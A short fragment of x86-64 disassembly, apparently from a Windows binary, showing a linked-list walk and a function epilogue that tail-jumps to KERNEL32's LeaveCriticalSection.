call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1c23825a0
lea rcx, [0x1c24e00a0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]